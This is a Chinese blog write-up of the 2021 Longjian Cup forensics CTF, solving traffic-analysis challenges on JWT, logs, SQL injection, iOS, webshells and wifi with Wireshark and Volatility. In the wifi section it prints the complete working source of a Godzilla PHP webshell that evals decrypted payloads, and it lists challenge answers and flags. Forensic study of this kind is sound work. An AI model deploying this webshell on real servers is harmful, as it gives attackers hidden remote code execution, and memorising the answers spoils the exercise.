2021陇剑杯复现

签到

打开然后统计--协议分级

可以看到http占多数。

一文走进 HTTP 与 TCP 协议,它们的区别与联系-CSDN博客

jwt

1.jwt-1

随便选个数据流打开,找找发现一个token(好像所有都有token,翻翻都得到)

所以是jwt认证。

JWT认证机制详解-CSDN博客

2.jwt-2

上面解密可以看到Id=10086,username=admin,所以答案是10086#admin

3.jwt-3

有关于权限的题查看whoami(查看当前系统用户):http contains "whoami",然后逐一查看tcp流。

最后在第三列找到

权限是root

4.jwt-4

逐一查看tcp流,最后在编号为13的tcp追踪流看到了恶意文件写入了/tmp目录下,文件名是1.c

5.jwt-5

so文件,那就直接搜索http contains "so"

然后逐个搜索了,在流22找到。

答案是looter.so

6.jwt-6

tcp流25

tcp流26,这里结果输入到/etc/pam.d/common-auth

tcp流27,查看执行结果

所以答案是/etc/pam.d/common-auth

日志分析

日志分析-1

execl打开。对请求的URL内容进行转义:将%2e替换为.,将%2f替换为/,将%3f替换为?
筛选请求成功的记录

所以答案是www.zip

日志分析-2

搜索tmp

答案是sess_car

日志分析-3

url解码,发现是反序列化

看不懂没关系,复制给gpt看看

所以是用SplFileObject类

简单日志分析

简单日志分析-1

打开发现大部分响应码都是404,只有3个500

 

显然参数是user

简单日志分析-2

上面参数后有base64字符,依次解密看看,发现第二个有答案

所以答案是Th4s_IS_VERY_Import_Fi1e 

简单日志分析-3

记得将%2b转换成+

第三个base64解码,得到答案192.168.2.197:8888

sql注入

SQL注入-1

一眼布尔盲注

SQL注入-2

还是先放进execl,替换掉空格,然后翻翻就可以看到

所以答案是sqli#flag#flag

SQL注入-3

这个根据响应长度来判断,根据上面的答案发现,发现正确的字符后面相应长度较大,比如

然后就是慢慢找

看看别的大佬,用execl整理了了一下,就是将数据分列,然后将大的留下来

陇剑杯 2021刷题记录_[陇剑杯 2021]签到-CSDN博客

当然根据分界点来找也行,不过也费眼睛

但是我之后找大佬问了一下,终于懂了 

将数据导入wps表格,然后进行智能分列,自定义分列,然后空格,格式就对了

再筛选,观察知道flag字符相应长度大于等于479(其实只要470多左右就行)

答案是flag{deddcd67-bcfd-487e-b940-1217e668c7db}

ios

IOS-1

注意不要加端口。(看不懂没关系,直接问ai-在一台名为 testiphonex 的设备上下载并运行了一个名为 ios_agent 的程序,该程序尝试连接到远程服务器 3.128.156.159:8081

IOS-2

还是一样,上面将tcp内容复制给ai了,直接问就好了。

IOS-3

密钥是hack4sec

IOS-4

这里考虑TLS解码,题目给我们了keylog.txt(其实不知道有什么用直接将内容复制给ai,它会提示你是TLS解密,还会给你步骤),所以先导入

然后TLS解密后出现了许多http2流量,开始我是先过滤http,然后搜索select,但是没搜到,然后又过滤tcp,过搜索select,发现了盲注,但是都是http2的流量,所以直接过滤http2,搜索select,发现大量盲注

\

接下来就找分节点(这个所查字符等于后面那个16进制字符),不断收集16进制字符 

找出来答案是37,34,36,35,35,38,66,33,2D,63,38,34,31,2D,34,35,36,62,2D,38,35,64,37,2D,64,36,63,30,66,32,65,64,61,62,62,32,5A,5A,5A,6A

16进制转字符是746558f3-c841-456b-85d7-d6c0f2edabb2ZZZj,答案只取前36字符746558f3-c841-456b-85d7-d6c0f2edabb2(格式是uuid形式,不知道的可以去搜索一下)

IOS-5

问问ai扫描出现什么情况

分析--专家信息

然后点连接终止

扫描的了自然会有rst,ack标识,最后答案是10-499

IOS-6

答案是172.28.0.2#192.168.1.12

IOS-7

显然密码是fxxk

webshell

Webshell-1

搜索http contains "password"

追踪tcp流

答案是Admin123!@#

Webshell-2

http contains ".log",然后逐个查看tcp流

在第二个流看到有用的信息 ,交答案发现不对,继续查看tcp流。

流31看到关键数据

这命令就是执行pwd,然后执行成功,返回了根目录。日志路径是/var/www/html/data/Runtime/Logs/Home/21_08_07.log

Webshell-3

刚刚查看tcp流好像看到whoami了,但是不确定,直接搜索看看。http contains "whoami"。然后查看tcp流。

啥也没有,看看http流

执行system('whoami')命令后,返回200,说明命令执行成功。返回了ERR

答案是www-data

Webshell-4 

 

刚刚第2题查看tcp流好像看到了,继续看看tcp流。发现在流33

答案是1.php

Webshell-5

逐一查看流,发现代理工具frpc,frpc.inifrpc的配置文件,用于定义内网服务如何通过公网服务器暴露

Webshell-6

前面的流应该有frpc连接,先看看38

用ai翻译此正文,

得到ip:

 192.168.239.123

Webshell-7 

 接上题目截图显示了admin:

0HDFt16cLQJ

passwd:

JTN276Gp

wifi

追踪tcp流1,发现可疑数据,解密看看 

发现是哥斯拉流量的源码

@session_start(); // 启动会话,允许使用 $_SESSION 变量来存储和访问会话数据
@set_time_limit(0); // 设置脚本的最大执行时间为无限制,防止脚本超时
@error_reporting(0); // 禁用错误报告,防止错误信息泄露给用户

// 定义一个加密/解密函数
function encode($D, $K) {
    for ($i = 0; $i < strlen($D); $i++) { // 遍历输入数据的每个字符
        $c = $K[$i + 1 & 15]; // 从密钥中获取字符,使用 & 15 确保索引在 0 到 15 之间(密钥长度为 16)
        $D[$i] = $D[$i] ^ $c; // 使用 XOR 操作对字符进行加密或解密
    }
    return $D; // 返回加密或解密后的数据
}

$pass = 'key'; // 定义用于验证的 POST 参数名
$payloadName = 'payload'; // 定义用于存储有效负载的会话变量名
$key = '3c6e0b8a9c15224a'; // 定义加密/解密使用的密钥

// 检查 POST 请求中是否包含指定的参数
if (isset($_POST[$pass])) {
    // 解码 POST 数据并使用密钥解密
    $data = encode(base64_decode($_POST[$pass]), $key); 

    // 检查会话中是否存在有效负载
    if (isset($_SESSION[$payloadName])) {
        // 解密会话中的有效负载
        $payload = encode($_SESSION[$payloadName], $key); 
        eval($payload); // 执行解密后的 PHP 代码,存在安全风险
        // 输出 MD5 哈希的一部分
        echo substr(md5($pass . $key), 0, 16); 
        // 执行解密后的数据并再次加密,输出结果
        echo base64_encode(encode(@run($data), $key)); 
        // 输出 MD5 哈希的另一部分
        echo substr(md5($pass . $key), 16); 
    } else {
        // 如果会话中没有有效负载,检查解码后的数据是否包含特定字符串
        if (stripos($data, "getBasicsInfo") !== false) {
            // 如果包含,存储解码后的数据到会话中
            $_SESSION[$payloadName] = encode($data, $key); 
        }
    }
}

看看客户端流量,发现是wap解密,需要 SSID和密码(看下的文章了解一下),从流量可以找到SSID为My_Wifi

WPA/WPA2, WPA-PSK/WPA2-PSK, WEP 三种安全机制的概念和区别-CSDN博客

十分钟学会wireshark对wifi加密数据的解密_wireshark wifi-CSDN博客

接一来要下volatility进行取证获得密码,看下面的文章(安装花了很多功夫,多问gpt)

内存取证 - volatility2.6 - 基础篇

内存取证-volatility工具的使用 (史上更全教程,更全命令)_volatility内存取证-CSDN博客

kali安装volatility及插件mimikatz_mimikatz安装-CSDN博客

[陇剑杯 2021]wifi - carefree669 - 博客园

先查看镜像信息

看不懂复制给ai,这些信息对于 Volatility 来说很重要,因为它需要知道分析的是哪个版本的操作系统,以便正确地解释内存映像中的数据结构。(问ai得到这个内存映像文件是来自安装了 Service Pack 1 的 Windows 7 操作系统,且是 32 位版本的。)这里我还重新命名了一下,开始不知道空格要转义。

Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : 正在基于 KDBG 搜索确定配置文件...
          建议的配置文件(们) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
                     AS Layer1 : IA32PagedMemoryPae (内核地址空间)
                     AS Layer2 : FileAddressSpace (/home/bosskali99/dde00fa9.vmem)
                      PAE 类型 : PAE
                           DTB : 0x185000L
                          KDBG : 0x83f3dbe8L
          处理器数量 : 1
     映像类型(服务包) : 0
                KPCR 对于 CPU 0 : 0x83f3ec00L
             KUSER_SHARED_DATA : 0xffdf0000L
           映像日期和时间 : 2021-07-17 19:36:54 UTC+0000
     映像本地日期和时间 : 2021-07-18 03:36:54 +0800

内存分析

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值